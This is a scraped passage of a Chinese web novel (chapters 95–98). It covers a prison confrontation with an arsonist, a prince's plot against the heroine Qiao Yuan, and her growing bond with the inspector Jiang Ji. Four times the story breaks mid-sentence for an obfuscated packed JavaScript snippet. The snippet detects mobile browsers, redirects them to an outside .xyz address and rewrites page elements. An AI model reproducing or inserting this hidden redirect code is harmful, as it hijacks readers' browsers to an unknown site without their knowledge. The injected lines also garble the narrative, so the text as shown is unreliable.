没想到这背后还有这么多的曲折弯绕，周素坐在凳子上沉默良久，终是看向乔元，“元姐儿，我想去地牢里见吴玉梅一面。” “地牢阴湿，阿娘你身子不好就别去了罢。”乔元立马回绝道。 “这事儿说到底是因我而起，早在十几年前就该解决了，是我自己害怕不敢去面对罢了。”周素垂首叹了一口气。 “你爹替我挡了一辈子的风雨，我却连累了他一辈子。不仅害得他手足不善，过了一辈子苦日子，现在更是连带你们也受到了牵连，差点被烧死在火里。事情已经到了这样的地步，我若还一味躲在后面，实在是太过没用。” 以周素的性格，她从来不会要求去做这样的事情，想必是吴玉梅纵火这事儿给她打击太大了。 乔元知道自己劝不住她，握着她的手道：“阿娘，我陪你去。” 95. 日子（二） 巡检司。 乔元来时，江稷并不在巡检司。 他这人神出鬼没的，时常不见踪影。乔元也没在意，入内同楚津打了声招呼，得了许可便往地牢的方向走去。 地牢门口的差役听闻她是去见那犯了事的妇人，径直在前头给她引路。“乔姑娘，那妇人就在里头，你进去还请小心脚下。” “多谢。”乔元谢过差役，携了周素一同前往羁押吴玉梅的囚室。 地牢里头还是那副模样，阴湿寒冷，一点日光都不见。血腥味混着一股不知名的臭味，沉积在地牢内久久挥散不去。 跟着差役到了囚室门前，乔元一眼便瞧见穿着单薄囚服，趴在稻草堆上的吴玉梅。 吴玉梅的背上隐有血迹透出，整个人很是脏污潦草。 差役用力敲了几下门口的栏杆道：“罪妇吴氏，乔姑娘要见你。” 听到差役的声音，吴玉梅虚弱地转过头来，果然瞧见了站在门口的乔元同周素。 也不知是哪里来的力气，她用力撑着手臂爬起，挺起脊背，冷嘲道：“怎么，你们两个贱人是来看我笑话的？” “劳烦让我们同她说几句话。”乔元递了点碎银给差役。 差役拿了钱，自是千恩万谢，很是自觉得退了远些。 乔元站在栏杆外，居高临下地看着吴玉梅，“我没死，你应当很生气罢。” 吴玉梅狠啐了一口唾沫，目不转睛地盯着乔元，幽幽道：“我真恨啊，当日若是再加把火将你们一家烧死在里头，今日你们这些贱人的骨灰也已经吹得满街都是了。” 乔元示意周素退远些，她半蹲在栏杆前同吴玉梅平视，扯起嘴角道：“那点洋金花实在是不够看，不过就你那脑子，能想出这种法子也着实不错了。” 话音刚落下，稻草连着尘土直接飞到乔元脸上。 乔元很是灵敏地侧身避过，单手把着栏杆笑着道：“怎么，才说两句就生气了？” “贱胚子，我看你能嚣张到几时。”吴玉梅怨毒地看着乔元。 乔元很是悠哉地掸了掸衣服上的稻草碎屑，挑起眼眉，“吴玉梅，你还记得那日去你家的相师罢？” 如愿在她眼瞳里看到了恐惧，乔元才接着道：“他其实是我延请来的名医。” “我那日让他瞧真切了，你那傻儿子的呆病是打娘胎里就落下了的，和我娘没半分关系。听说这回你犯了事，连带他也被抓了进来，这可真是，一报还一报啊。” 最后一句话，乔元说得很轻，她双眼微眯，自上而下垂首看着吴玉梅，极尽挑衅。 “贱人！贱人！”吴玉梅手脚并用地爬向乔元，速度快到可怕。她趴到囚室边，单手伸过栏杆就想对乔元动粗。 乔元不仅不避，反倒顺势拉着她的手，将她死死按在栏杆上。“你如今在牢狱里，连你那蠢儿子也要跟着一起遭殃。想来没过几日，他就要在这牢狱里一边念着你这个‘娘’，一边被人羞辱虐待了罢。” 吴玉梅双眼通红，已然失了理智，“杀了你，我要杀了你！” 乔元把手伸进囚室里，狠厉地一把薅住她的头发，迫使吴玉梅的头往后仰，斥道：“来啊，有本事你现在就出来杀了我！” 囚室的栏杆被吴玉梅晃得吱呀作响，她整个身子气的发抖，两额上的青筋暴突，上下牙咬的咯咯作响，“我一定会杀了你，我一定会让人杀了你！” 乔元用尽全身力气将吴玉梅死死按在栏杆上，“你一个乡野村妇，谁会听你调遣来杀我？你就在这牢狱里同你那蠢儿子一起等死罢！” “哈哈哈哈哈哈……”吴玉梅突然不再挣扎，放声大笑起来。 她反手抓着乔元的手，脸隔着栏杆同她贴的极近，声音低沉如鬼魅，“你还不知道罢，想杀你的人，可不止我一个。” 乔元面色不变，但她的另一只手却在吴玉梅看不到的地方握紧，她尽力控制好情绪，“在这金台县可没有敢对我动手的人，你在这里虚张声势什么！” “区区金台县……”吴玉梅从喉咙里溢出轻慢的笑声，“想让你死的可不是金台县的人。” “这倒奇了，我生平从未出过金台县，怎么还能惹上外头的仇家了。”乔元丝毫不怵接着跟她对峙。 吴玉梅送开了抓着乔元的手，凌乱的发丝遮盖在她脸上，只露出她的眼睛，像是阴暗潮湿的 魈魑，“贱人，我还以为你今日改性子了，原来是想套我的话。” “别痴心妄想了！我要叫你今生今世都处在恐惧之中，提心吊胆夜不能眠，日日都要担心是否有人要来杀你！” 吴玉梅的说话声越来越大，紧接着，整个地牢都彻响她的笑声。 “你若是不说，我即刻就去杀了乔天宝。”一直站在后头的周素骤然出声道。 狂放的笑声戛然而止，吴玉梅眼瞳紧缩，怒道：“你敢！” 周素从袖口掏出一把小刀，直接横在吴玉梅面前，“你以为我不敢吗？！” “前头十几年，我对你心怀有愧，你对我是打是骂我从未反抗过。但如今你要杀我全家，难不成还指望你再三忍让？！我们中间反正已经隔了血海深仇了，我不介意再背上一条人命！” 周素双唇紧抿面容坚毅，是乔元从未见过的样子。她像是一头母狮子，沉稳威严，就这样挡在乔元面前。 吴玉梅的呼吸声越来越重，胸口不断起伏，她死盯着周素半晌，忽然又松了下来，嗤笑道：“你不敢。” “是吗？” 下一瞬，周素的匕首直接划上了吴玉梅抓着栏杆的手背。 “啊——”吴玉梅吃痛地松开了手，手背登时血流如注。 “周素！周素！我要你死！”被刺激到，吴玉梅直接起身用力晃着栏杆，手背上的血染红周边一片。 周素就这样站在原地，看着她的囚室内发狂，声音冰冷如雪。“我同你说了，你要是不告诉我是谁要杀元姐儿，我即刻就去把乔天宝杀了。” 吴玉梅在囚室里疯狂捶砸，一直到把栏杆都砸的有些松动了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815159|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她忽得不再动弹，整个人透露出诡异的平静。“好啊！你去把天宝杀了罢！我们到地下还能做一对鬼母子！” 她‘吃吃’地笑着，歪头看着外面的二人。“你去杀啊，要死一起死。我反正是活不成了，正好能拉着你们这些贱人一起下地狱。” 周素还想再说什么，却被乔元抢先一步打断了，她道：“阿娘，我们走。” “等等，元姐儿！”周素边被乔元拉着往外走，边回头看向吴玉梅。她的眉眼皱成一团，整个人都很是抗拒。 好容易将周素拉到了地牢门口，乔元刚放开手，周素就想重新往里走，“元姐儿，你让阿娘再去问问，再去问问！” “阿娘！”乔元叫住她，立在原地开口道：“问不出来了。” 周素手里还拿着划伤吴玉梅的小刀，整个人惶惶怔愣在原地。她有些语无伦次道：“怎么会问不出来呢？你去同江大人说说，把乔天宝押解到她面前，她一定会说的。” 乔元重新握住她的手，六月天里，周素的手冷得像冰，“能试的办法江稷已经都试过了。” 就是因为知道这一点，乔元才想用吴玉梅对她们的恨意最后试一次。 “怎么会，怎么会呢……” 面前的妇人，为了家人抛弃了她从前最为人称颂的贤惠良善的一面，手里还拿着小刀，整个人却格外无助。 泪水从她面颊落下，又被她用力擦掉。 今日的周素，同往日都不甚相同。 乔元抱着她的臂膀，缓缓带着周素往外走，故作轻松道：“阿娘，万一吴玉梅从头到尾都只是在说谎，我们可就被她骗了。况且我们如今住在巡检使的宅子里，等闲人可伤不到我们，你宽心罢。” 周素只静静听着乔元说话，默不作声。 她同吴玉梅一样是母亲，她知道一个母亲能为孩子付出一切的决心。 如果真的有人害自己的孩子，她或许……同吴玉梅并无什么分别。 只可惜，这些话她不能对乔元说。 回程路上，乔元见路边有人卖冰糖葫芦，难得兴起买了几串。 母女俩一人一串糖葫芦，并排走在街市上。 不知怎的，走着走着乔元便笑了出来。 见女儿这般高兴，周素的心绪也松了些，她问道：“是想起什么好事了？” 乔元看向身侧的妇人，已经恢复了往常温良的模样，“我原本以为，阿娘你是来同吴玉梅道别，将这么多年的仇怨一笔勾销的。” 周素明白女儿的意思。 自己这么多年，实在活得憋屈了些。 她看着乔元咬碎糖葫芦外头的糖衣，轻声道：“元姐儿，我若是对她妥协，于你们又算什么？阿娘虽然不聪明，但孰是孰非我心里清楚。她要杀我们全家，我不是是明王圣母，我定也要拿刀杀回去！” 一家人一起经历风风雨雨，从石湾村到金台县，往后可能还要去京城。 乔元在日光盛处，拉着周素的手，“阿娘，你真好。” 96. 日子（三） 东街邱府。 邱府门台古朴，全以青石铺地，行路两旁点缀着修剪得宜的绿植与盆景，里头的砖瓦草木、亭台楼阁，无一不彰显着主人的尊贵身份。 有一只喜鹊从院外飞入，振翅而行，一路飞过重檐。最终，落在了主院的檐角上。它黑色的羽毛被日光镀上一层淡金，在院里轻啼着。 侍立在主院门口的管家仰头皱眉看了喜鹊一眼，朝外头招了招手。“去，把那鹊儿给我赶了。” 被唤过来的小厮迟疑一瞬，“可……这是喜鹊。” 管家恨铁不成钢道：“这鹊儿在此处叫着，万一扰到了主家谈事情，第一个发落的就是你。你不操心操心自己，反倒担心起鹊儿的命了？” 小厮闻言，哪里还敢怠慢，急急忙忙地就跑去找赶鹊儿的竹竿。 见鹊儿三两下被赶走，管家这才抬眼看了主院里紧闭的门扉一眼。 老天保佑，还望今日别处什么大事才好。 主屋里头奢华的红木椅上，坐着一个少年。 少年身子恍若无骨，就这样斜斜地倚靠在凳子上，他的手有一搭没一撘地轻敲着把手，随意倾身向下。 在他的下头，瑟瑟跪着二人，赫然是邱月同她的父亲邱承明。 上头的少年不说话，父女俩便一味垂首跪着。 直到邱月觉得自己的双腿近乎发麻，才听得少年轻启薄唇问道：“邱令史，你到此处有多久了？” 邱承明连忙伏身回道：“禀郡王，草民到此地已然半年有余。” 说完这句话，他似觉不妥，将额头抵到地上，闷声道：“承蒙郡王厚爱，小人早已辞官，如今已不是令史了。” 少年单指勾了勾额发，“令史或是侍郎，不过是本王一句话的事，你怕什么？” 屋里明明放了碎冰降温，邱承明的发间还是控制不住地沁出汗来，“草民……草民……” 如此狂妄之语，便是给他十个胆子他都不敢往下接。 好在少年没再同他说话，转而对邱月慢条斯理道：“早在京城就听闻邱小姐姿容姝丽，锦心绣肠。” 言语间，他已经从红木椅上走了下来。 邱月还没想好该如何回话，下一瞬，她的下巴就被少年强势抬起，骨节分明的手紧紧箍着她的下颌。 少年左右打量着她的面庞，明明看着在笑，笑意却不达眼底。形似狐狸的眼睛微微眯起，紧接着，她就听得头顶上传来少年的声音，“今日一见，所言倒是不虚。” 第一次被异性这般打量，邱月放在身侧的双手紧握，面颊通红，侧了眼瞳不敢直视对方。 直到片刻后，她的下巴才被放开。 被少年箍着的地方有些生疼，怕是起了红印。但邱月不敢多言，只伏跪在地道：“郡王谬赞。” 少年拿帕子擦了擦手，重新坐回到椅子上，戏谑道：“邱小姐既然久负盛名，不若来猜猜，我今日来寻你们父女俩为的是什么？” 室内一时落针可闻。 深思熟虑良久，邱月才开口试探道：“郡王……可是为了乔姑娘而来？” 少年闻言，抚掌笑道：“不愧是邱姑娘，果真比京城那些足不出户的闺秀聪明不少。” 待笑声渐歇，少年才接着道：“听说，姑娘在女学上课？” “是。”邱月应道。 “既如此，我有件事交代你去做，若是办得好……”他的话语停顿了一瞬，“你们邱家，飞黄腾达指日可待。” 这句话落下，父女俩俱在对方的眼里看到了惊色。 面前的少年，可是是当朝的广平郡王！二皇子梁王是他的亲兄长，生母贤贵妃如今执掌六宫风头无两，更是天子心尖上的人。 这样金尊玉贵娇养着的人，会屈尊到金台县已是闻所未闻，更遑论找上了他们父女二人。 邱氏没落久矣，若能得广平郡王相助…… 邱承明脑中还在权衡之际，忽听得一旁的邱月道：“小女必竭尽所能。” “月儿！”见女儿直接应下，邱承明面上闪过片刻慌乱，接着压着声音喝道。 广平郡王瞧着年纪小，但这背后难保没有二皇子的意思，若是入了这局，怕是要帖上整个邱氏老小的性命。这样的话，可轻易应不得啊！ 他这一出声，打断了少年要出口的话。 少年的声音不复方才的慵懒，骤然带了威压道：“邱令史可是不愿襄助本王？” 不过十七八的少年，说出的话却霎时让人冷到骨子里。 邱承明的身子一哆嗦，将额头重重贴地道：“草民不敢。” 少年冷哼一声，这才朝向邱月道：“你既是聪明人，那我便直说了。” 他接下来所说的短短几句话，让伏跪在地的二人被冷汗浸湿了后背。 “我只给你一个月的时间，可能办到？”待说完话，少年又恢复成那副懒散模样。 “小女……定不辱命。”邱月咬牙道。 她跟着爹到了这样乡野的地方太久太久，久到她已经忘记了京城街市是什么样子。 面前坐着的广平郡王，是一个她在京城连面都见不上的大人物。可就是这样的大人物，却偏生同她在这样的小县城遇上了。 只要她能抓住这次机会，就能一举翻身，将往日嘲笑她的、看不起她的名门闺女一举踩在脚下。 见邱月应得果断，少年很是满意。目的达到，他利落起身，掸掸衣服起身往外走去。 像是想到什么，他忽得顿步。 在他下头，跪着挪动的邱承明忙垂头问道：“郡王可还有什么吩咐？” 少年淡淡看了红木椅一眼，开口道：“往后记得在这凳子上加一个金丝软枕，不然硌得慌。” 说罢，他甩着袖子出了门。候在门口的宋正齐见他出来，恭恭敬敬递上一顶黑色帷帽，护送少年入了轿子。 趴跪在地上的邱承明战战兢兢目送少年远走，这才擦擦额头上的汗，起了身来，坐到凳子上喘粗气。 一旁的邱月也缓缓起身，坐在了他下手的位置上。 回头看着女儿，邱承明心头不禁五味杂陈，他忍不住道：“月儿，此番你实在是太过鲁莽！你这般轻率地应下广平郡王所吩咐的事，岂不是在同严氏为敌？” 邱月闻言，也不辩驳，而是直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850107|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跪到邱承明面前道：“父亲，女儿自知此事太过草率，但这是我们能回京城的唯一机会了！” 凭她这段时日对乔元的了解，她只醉心于昆虫和农事，对别的一概无甚兴趣。就算她是严老弟子，怕最后只会和彭青一样，在司农寺领个差事，蹉跎到老。 可广平郡王是何许人也，他大哥，他生母，在这景朝权势滔天。只要能牢牢攀上这颗大树，她何愁父亲被免职连累全家。 “你……唉……”邱承明叹了口气，最终还是起身扶了她起来，“好孩子，花一样的年纪，让你在这乡野这么久，实在委屈你了。” “女儿不委屈。”邱月道。“只要能让我们邱氏再度兴盛，让女儿做什么都愿意。” 邱承明拍拍她的手，思忖良久后道：“罢了，你既应了这事，我们便要小心谋划，千万不能让严氏发现端倪。” “女儿谨遵父亲教诲。” 另一侧。 一顶不起眼的小轿从邱府偏门抬出，绕城往西走去。几经辗转，换了辆很是豪奢的马车，这才往缓缓往醉仙居驶去。 宋正齐坐在马车靠门帘的地方，有意无意地偷看着上头斜倚着的少年。 少年淡淡瞥了他一眼，“有话就说。” 宋正齐正身，有些忐忑道：“主子，那乔元不过一届农女，直接杀了便是，何必这般纡尊降贵地去寻一个没落氏族合作？” “蠢货。”少年斜眼看他。“你当百年严氏是摆设不成？严维运那老东西睚眦必报，我若动手，只要被查到蛛丝马迹，怕是会连累大哥在朝野上受到牵连。” “可我们何不找一些更有势力的家族合作，邱氏如此没落，那邱承明还是家中不得重用的次子，只怕会坏事。”宋正齐道。 “邱氏是不够格。”少年指尖拈着一颗晶莹剔透的葡萄，声音带了几分蛊惑，“但你知道吗？只有从高处跌落的人，才会为了向上爬付出自己的一切。” “我要的，不过是一把能为了权势付出一切的刀而已。”少年舔舔唇角，盯着葡萄看了一会儿，随后一口吞而下。 宋正齐见状，坐在一旁，不敢再吭声。 半炷香后，马车缓缓停在了醉仙居门口。宋正齐下了车厢，扶了少年下来。 二人还没踏入醉仙居正门，就被路过的小贩撞了个满怀。 琳琅的小玩意儿掉落满地，挣扎之中，少年的帷帽也被扯了下来，露出了他那张比女人更为白皙的脸。 只一眼，小贩便知面前这人非富即贵，他立时反应过来，跪在地上道：“贵人饶命，贵人饶命。” 可还未等他话音落下，小贩便接被几个大汉直接提去了一旁的暗巷。 宋正齐顾不得其他，忙将掉落在地的帷帽捡起，想重新戴回到少年头上。 “不必了。”少年扯起嘴角，直接将帷帽丢到地上，往醉仙居内走去。 醉仙居对侧的茶楼一角，江稷正端着茶盏，很是玩味地看着自己安排的戏码。 但见到少年帷帽下容貌的一刹那，他的眼瞳猛然一缩，手里的茶盏应声落地。 竟然是他！ 广平郡王赵无忧！ 97. 日子（四） 碎裂的茶盏沾湿江稷的衣角，他却恍若未觉，只死死盯着少年消失处，手背的青筋高高凸起。 邹尧一个闪身从门外进来，躬身道：“大人。” 江稷强压下心头惊涛，端正姿态问道：“可查到他们去了何处？” 邹尧摇摇头，放下手中剑道：“属下无能。” “这不怪你。”江稷单手抻着额头，周身都被阴云笼罩。 今上总共育有五子二女，除去还在牙牙学语的八皇子和九皇子，五皇子赵无忧的年纪是所有成年皇子里头最小的。但他的手段，却比他任何一位皇兄都要狠辣三分。 曾经有言官御史参他，还未封亲王便身着麟纹衣饰，不合乎礼制。 谁料不过几日，那御史就被贼寇入府虐杀，尸骨无存。其妻去京兆尹投告无门，还是其他御史凑了钱财，才将他安葬入殓。 这事儿在京城引起了不小的轰动，大理寺排查多日，到最后还是不了了之。 明眼人都看得出来，这事儿怕是和五皇子赵无忧有关。可他毕竟是凤子龙孙，大理寺寻不到实质性证据，哪里敢将矛头指向于他。 有那御史的前车之鉴，便是再有怀疑，也没人敢对他多指摘什么。 像赵无忧这般权势的人，想让邹尧探查不到他的踪迹，简直易如反掌。 “你不必再探查了，带着你的人先回巡检司罢。”江稷敲定。 邹尧闻言，急道：“大人，还请再给我一次机会，我必不会再跟丢他们。” 江稷冷言道：“他们不是你能对付的人，若贸然再去，你怕是会有性命之忧。此事我心意已决，你莫要再说了！” “大人！”邹尧不肯。 “退下。”江稷斥道。 巡检司里都是血性男儿，若不强行劝阻，怕是没两日就会尽数横死街头。 “……是。”邹尧闷声应下，离开了茶室。 江稷坐在椅子上思虑片刻，即刻起身往私宅而去。 赵无忧来金台县，绝对不会是巧合。无缘无故出现的大火同洋金花，本就足以让他警惕，倘若这件事真是赵无忧在背后谋划，那他的目的只有一个，就是利用吴玉梅来做局，杀了乔元。 江稷步履不停脚下生风，心头的不安随着时间疯长。 该死，以他现在的能力，未必能护乔元周全。 待他行色匆匆地赶回家中，垂荫花朦的庭院里点着灯，有饭香味从厅堂飘出，远处的正厅里，传来阵阵忽高忽低的笑声。 江稷深吸一口气，放缓脚步。收拾好情绪好不叫人看出端倪，这才往正厅走去。 正厅里头，乔永言正同家人背诵他学的新诗，乔家人分别坐在一旁，各个眼神炯炯地看着他。 待他一字不差地背完诗句，厅里传来热烈的掌声和叫好声。 小小少年高扬头颅，面上很是骄傲。“夫子说了，我这个年纪，能背出这样难的诗，很不简单呢！” “那是自然，你可是我们老乔家唯一一个上过学塾的人呢！”乔长平还像从前一样，忍不住揉乱他的头发。 不料乔永言却躲开了他的触碰，“大哥！夫子说了，以其记君子之德，见於仪表者也。你不能乱碰我的头发和衣冠。” “嘿，你小子，读了几天书本事不大，脾气倒是见长了。”乔长平非但没有停手，反倒把他拉了过来一顿揉搓。 乔永言在他自是手下不断反抗，两兄弟在正厅里上演了好一番全武行。 乔元在一旁看着他们打闹，嘴角就没落下过。 “江大人。”忽的，她听到乔永言的叫喊声。 乔元抬头往门边看去，江稷不知何时回来了。 她笑着冲他招手道：“江稷，你回来得正好，要用饭了呢。” 江稷点点头，在桌边落座，他扫了众人一眼问道：“纪师呢？” 乔元答道：“纪老说今日在外头吃饱了，就不来用饭了。” 见江稷回来了，乔家两兄弟自是不敢再造次，他们很是热心地帮着周素将热在锅里的饭菜端上桌，随后规规矩矩地用起饭来。 待用完晚饭，见儿女帮着周素一齐收拾，乔满山趁着四下无人，找到江稷向他躬身道：“江大人。我今日从元姐儿她娘那儿听说是吴玉梅纵的火，敢问这这案子，会如何判决？” 江稷扶着乔满山，并未受他的礼，“如今大家处在一个屋檐下，不必这般拘礼。” 乔满山听女儿说过江大人说一不二的性子，他只得应道：“多谢大人体恤，那我便失礼了。” “无妨。”江稷道：“我朝律法对于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859028|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纵火案极为严苛，吴玉梅纵火已是铁证如山，待文书定下，秋后即当问斩。至于她的夫君同儿子，对本案并不知情，若查证并无嫌疑，巡检司自当放他们归家。” 今日回来听周素说起这火是吴玉梅放的，乔满山还一万个不信。现下江稷也这么说了，他重重叹了口气，又同他说了一会儿话，才谢过江稷颇有些失魂落魄地走了。 乔满山刚走，乔元就从厨房钻了出来，见他还在正厅里，奇道：“江稷，你怎的还在这儿？” 江稷敛下神色看向她，“乔元，我有话同你说。” 乔元点点头，“正好，我也有东西给你。” 跟着乔元到她住的院子里，江稷在门口候着，等乔元拿了东西出来。 乔元的速度很快，没一会儿就从屋内出来塞了一个小包裹到他怀里。“喏，送你的。” “这是……”手里的包裹不算重，形状方方的。 “你打开看看便是了。”乔元在一旁道。 江稷依言拆开包裹，掀开外头的一层软布，露出了包裹在里头的木盒子，盒子被包裹的很是精细，好容易打开盒子，一面护心镜就这样出现在他面前。 铁质的护心镜边缘圆润，中央略微凸起，一摸便知打磨地很是精细。外圈雕刻了细密的祥云图案，以示平安吉祥。角落还配了一个环扣，方便调整位置。 乔元站在他面前，有些忐忑道：“这段时日实在是太麻烦你了，我不知该送你些什么。今日同阿娘上街的时候，看到这面护心镜，觉得你该用得上，便买来送你了。” 长到这般年岁，江稷还是第一次收到别人送的礼物。因为赵无忧到来的不安心绪，骤然消失的无影无踪。夏夜的此起彼伏的鸣虫声对应了他的心跳声，大手紧紧握着那面小巧的护心镜，男人罕见的有些无措。 见他一直不语，乔元心头难免有些七上八下，“你……可是不喜欢这个礼物？” “喜欢的。”江稷像是刚从亘古回过神来，他不知该如何同她表达自己的欢喜，只能干巴巴地应声。 见他这般，乔元有些狐疑道：“你真的喜欢吗？若是不喜欢，我再寻一个别的礼物给你，你可千万别同我客气。” 江稷没有接话，而是当着她的面直接将护心镜郑重贴身放好，“喜欢的。” 98. 日子（五） 同乔元说完话后，江稷回到自己的院落里。 屋内漆黑一片，他也不点灯，就这样摸黑枯坐在桌案前。 心口的护心镜已经被捂地温热，他小心从胸口掏出，骨节分明的大手就这样在夜色里一点点细细揣摩着上头的纹路。 直到护心镜上沾染的体温散尽，重归冰冷，他才后知后觉地将头仰起，将护心镜贴到了额上。脑后的马尾松垮散落着，有力的双臂随意垂在身侧，江稷就这样仰面躺在椅子上，阖眸静思。 今日天际无月，只余繁星闪耀夜空。 不知道坐了多久，直到星轨划过半个天穹，昏暗室内的男人才才终于直起身子。 桌案上的蜡烛被点燃，映照出江稷有些疲惫的侧脸。 此刻他的脑中思绪繁杂，几度想提笔在纸上写下什么，又多次放下了手中狼毫。 断断续续地花了大半个时辰，他才写下了一封完整的书信。将书信塞入信封，再在封口涂上特制的封蜡，江稷重重舒了一口气。 如今转运司的马脚还未抓到，赵无忧又不请自来。 小小的金台县，可称得上是卧虎藏龙。 有些消息，他必须得亲自同那人确认过才安心。 —— 翌日一早，乔元还在屋内用早饭，就见打外头就进来一个熟面孔。 “乔姑娘！我可总算见着你了！”等了这么些天才见到乔元，吴才差点没掉出泪来。 “吴典使，你这是？”乔元有些不解问道。 江稷就跟在他身后，吴才也不敢当着他的面说坏话，只道：“早前听闻姑娘家中失火，今日终于得见姑娘无恙，我这是感动的，感动的。” 江稷嘴角扯出讥讽的笑，越过吴才径直坐在乔元一侧，慢条斯理地吃起早饭来。 这段时日同江稷住在一处，周素对金台县里头大大小小的官员也没了乡下刚来时的惧怕。她很是贴心地递了碗筷给吴才，“吴典使这么早就来了，怕是还没吃饭罢。这点子粗茶淡饭，还请典使莫要嫌弃。” 面前的早饭花样百出，香甜可口的八宝糯粥配上油煎酥饼，还有一人一碟的酱菜和花式糕饼。 各种食物混杂的浓厚的香气让吴才忍不住吞了吞口水，他接了碗筷刚想坐下，就听得地上传来‘啪嗒’一声，是筷子掉落的声响。 他往发声处看去，江稷单手捏着一根筷子，正很是玩味在桌面上轻点。 此情此景，吴才哪里还敢坐下，他把碗筷往桌子上一放麻利道：“华行首不日就要回京，知县大人托我来问姑娘，明日可能来一趟县衙，将买扑的事儿定下？” 乔元正想同他提及此事，见他先说了，跟着颔首道：“吴典使放心，明日我一定准时到县衙。” 有江稷在场，吴才哪里肯再多留，听到乔元应下，他抛下一句‘我这就回去禀报知县’，人便匆匆走了。 见吴才消失在院内，乔元回头看向江稷，疑惑道：“你今日不去巡检司吗？” 往日这个时候，哪里还能在私宅看到他的影子。 “巡检司有楚津在打理。这几日情况特殊，我必须得守在你身侧。” 江稷说这话的时候并没避人，坐在对面的周素听了全程，喝进嘴里的粥直接喷了出来。 “阿娘，你慢些。”乔元忙递上帕子。 周素接过帕子，冲她挥挥手，示意自己无妨。用帕子掩着唇角，她目光却是一直在二人之间逡巡。 天老爷啊，这这这，江大人青天白日的说这种话，莫不是对元姐儿…… 她的心里头简直是十五个吊桶打水——七上八下的。 若元姐儿同江大人互有好感自然是好；若是没有，她怕是得考虑让孩子她爹将家里那些存银兑成银票，去别的州县讨生活了。如今家里衣食不缺，她可不能让元姐儿就这样迫于巡检使的威势嫁了。 乔元哪里知道，因为江稷这么一句话，周素心头被激起惊涛骇浪，都已经想到十万八千里以外的事了。 她重新坐回到椅子上，转头对江稷道：“我家今日得去寻贺公子一趟，还得烦你陪我一起去。” “贺令璟？你寻他作甚。”江稷尾音一沉。 “那日在火场若不是他先赶来救了我，我定是没命了。这份大恩，得去还他。”乔元道。 “明日就是买扑的日子，你今日去见他，只怕是会惹人非议。”江稷想都不想就回绝了。 “所以才要带上你。”乔元笑得狡黠。“谁人不知，金台县的巡检使铁面无私不近人情？” …… 江稷头一回觉得自己往日行事太过狠戾，也不算什么好事情。 他抿唇半晌，开口颇有些语不惊人死不休之感，“你要还他的恩情，那我的呢？” 这回别说周素，连乔元都愣住了。 “你……”乔元错愕道：“你的恩情，我自是会还的。你可有什么想要的？只要在我能力范围内，我统统替你寻来。” “无趣。”江稷摇头。 “那你可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869808|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么想玩的，或是想去的地方？”乔元又问。 “未曾。” 乔元看着面前有些玩世不恭的男人，知他挑剔，又耐着性子问了他许多。 半刻钟过去，江稷愣是一个提议也不满意。 “江稷！”乔元终于忍无可忍，拍案而起。 难得看到乔元这副绞尽脑汁又气极的模样，江稷笑忍不住出声来，喉头连着臂膀，都在一抖一抖的。 乔元带着怒意看着他，男人的嘴唇很薄，端得是一张薄情寡义的脸。偏生他笑起来的时候，眼尾上扬，生生成了一副多情面孔。 就这样亲眼看着女儿同江大人叫起板来，一旁的周素是一声都不敢再吭了。 怪不得江大人说什么也要把元姐儿安置在私宅内，还细心地给她配了最好的寝具买了最好的药。她本以为江大人觉得元姐儿很是得力，恐失了臂膀。现在瞧着，他们二人肯定同她方才猜想的一样！ 此刻周素心里头跟油煎似的，恨不得出去采买的乔满山快些回来，好同他吐一吐心头藏着的事儿。 怕把乔元惹急了，江稷不再逗她，笑道：“罢了，这份恩情你先存着罢，待我想好了再寻你兑现便是。” 乔元气得牙根痒痒，偏生还不能拿他怎么办。她站着把碗里的粥喝完，连招呼都懒得同他打，径直回屋去了。 江稷也不恼，悠哉悠哉地把剩下的早饭吃完，又帮着周素把碗筷收拾好，这才慢腾腾地抬步往乔元院子里挪。 还没走几步路，就见乔满山带着两个儿子从外头回来。门口还停着一辆牛车，上头的东西塞得满满当当。 乔满山一见他，笑着招呼道：“江大人。” “这是？”江稷问道。 